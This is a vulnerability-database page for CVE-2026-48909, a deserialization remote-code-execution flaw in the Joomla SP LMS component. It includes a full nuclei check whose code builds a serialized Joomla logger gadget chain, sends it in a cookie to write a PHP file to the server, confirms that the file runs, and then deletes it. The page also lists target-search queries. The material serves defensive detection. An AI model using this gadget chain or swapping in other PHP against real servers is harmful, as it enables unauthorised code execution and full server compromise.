HexBrain

Browse / CVEs / CVE-2026-48909

CVE-2026-48909· joomshaper / sp lms· CWE-502

Joomla SP LMS <= 4.1.3 - Remote Code Execution

criticalseverity
9.5CVSS score
4.9%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

SP LMS (com_splms) < 4.1.4 by JoomShaper deserializes user-controlled cookie data without validation, enabling an unauthenticated remote attacker to execute arbitrary code on the server.

Impact

Unauthenticated remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Upgrade to version 4.1.4 or later.

How to confirm it

Send: GET /index.php?option=com_splms&view=cart
Positive when: status_code == 200 and contains(body, "com_splms")
Send: GET /index.php?option=com_splms&view=cart
Positive when: true
Send: GET {{urlpath}}
Positive when: contains "{{marker}}" AND status 200
Send: GET /index.php?option=com_splms&view=cart
Positive when: true
Send: GET {{urlpath}}
Positive when: true

Run it with nuclei: nuclei -id CVE-2026-48909 -u <target>

The full check
id: CVE-2026-48909

info:
  name: Joomla SP LMS <= 4.1.3 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    SP LMS (com_splms) < 4.1.4 by JoomShaper deserializes user-controlled cookie data without validation, enabling an unauthenticated remote attacker to execute arbitrary code on the server.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 4.1.4 or later.
  reference:
    - https://github.com/CerberusMrXi/CVE-2026-48909-Joomla-SP-Exploit
    - https://github.com/Is4yev/CVE-2026-48909
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48909
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.5
    cve-id: CVE-2026-48909
    cwe-id: CWE-502
    epss-score: 0.04941
    epss-percentile: 0.92222
  metadata:
    verified: true
    max-request: 5
    vendor: joomshaper
    product: sp_lms
    framework: joomla
    shodan-query: http.component:"joomla"
    fofa-query: body="com_splms"
  tags: cve,cve2026,joomla,rce,deserialization,unauth,splms,vuln

variables:
  rand: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  var rand = template["rand"];
  var filename = rand + ".php";
  var filepath = "images/" + filename;
  var marker = "nuclei" + rand + "verify";

  var B64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  function b64(s) {
    var r = "";
    for (var i = 0; i < s.length; i += 3) {
      var a = s.charCodeAt(i);
      var b = i+1 < s.length ? s.charCodeAt(i+1) : 0;
      var c = i+2 < s.length ? s.charCodeAt(i+2) : 0;
      r += B64.charAt(a >> 2);
      r += B64.charAt(((a & 3) << 4) | (b >> 4));
      r += (i+1 < s.length) ? B64.charAt(((b & 15) << 2) | (c >> 6)) : "=";
      r += (i+2 < s.length) ? B64.charAt(c & 63) : "=";
    }
    return r;
  }

  function sstr(s) { return "s:" + s.length + ":\"" + s + "\";"; }
  function pkey(n) { return "\u0000*\u0000" + n; }

  function build(path, fmt) {
    var entry = "O:23:\"Joomla\\CMS\\Log\\LogEntry\":3:"
      + "{s:4:\"date\";s:10:\"1234567890\";s:4:\"time\";s:1:\"t\";s:1:\"f\";s:3:\"xxx\";}";
    var cn = "Joomla\\CMS\\Log\\Logger\\FormattedtextLogger";
    var p = sstr(pkey("defer")) + "b:1;"
      + sstr(pkey("options")) + "a:1:{s:16:\"text_file_no_php\";b:1;}"
      + sstr(pkey("path")) + sstr(path)
      + sstr(pkey("deferredEntries")) + "a:1:{i:0;" + entry + "}"
      + sstr(pkey("format")) + sstr(fmt)
      + sstr(pkey("fields")) + "a:0:{}";
    return "O:" + cn.length + ":\"" + cn + "\":6:{" + p + "}";
  }

  function pad(s, n) { var r = ""; for (var i = 0; i < n; i++) r += s; return r; }

  function safe(path, php) {
    for (var p = 0; p < 500; p++) {
      var fmt = p > 0 ? php + pad(" ", p) : php;
      var e = b64(build(path, fmt));
      if (e.indexOf("/") === -1 && e.indexOf("+") === -1) return e;
    }
    var chars = "abcdefghijklmnopqrstuvwxyz";
    for (var p = 1; p < 500; p++) {
      for (var ci = 0; ci < chars.length; ci++) {
        var c = chars.charAt(ci);
        var fmt;
        if (php.lastIndexOf("?>") === php.length - 2) {
          fmt = php.substring(0, php.length - 2) + " /*" + pad(c, p) + "*/ ?>";
        } else {
          fmt = php + pad(c, p);
        }
        var e = b64(build(path, fmt));
        if (e.indexOf("/") === -1 && e.indexOf("+") === -1) return e;
      }
    }
    return "";
  }

  var wp = safe(filepath, "<?php echo '" + marker + "'; ?>");
  var cp = safe(filepath, "<?php @unlink(__FILE__); ?>");

  set("write_payload", wp);
  set("cleanup_payload", cp);
  set("marker", marker);
  set("urlpath", "/images/" + filename);

  http(1) && http(2) && http(3) && http(4) && http(5);

http:
  - raw:
      - |
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "com_splms")'
        condition: and
        internal: true

  - raw:
      - |
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}
        Cookie: lmsOrders={{write_payload}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET {{urlpath}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200

  - raw:
      - |
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}
        Cookie: lmsOrders={{cleanup_payload}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET {{urlpath}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from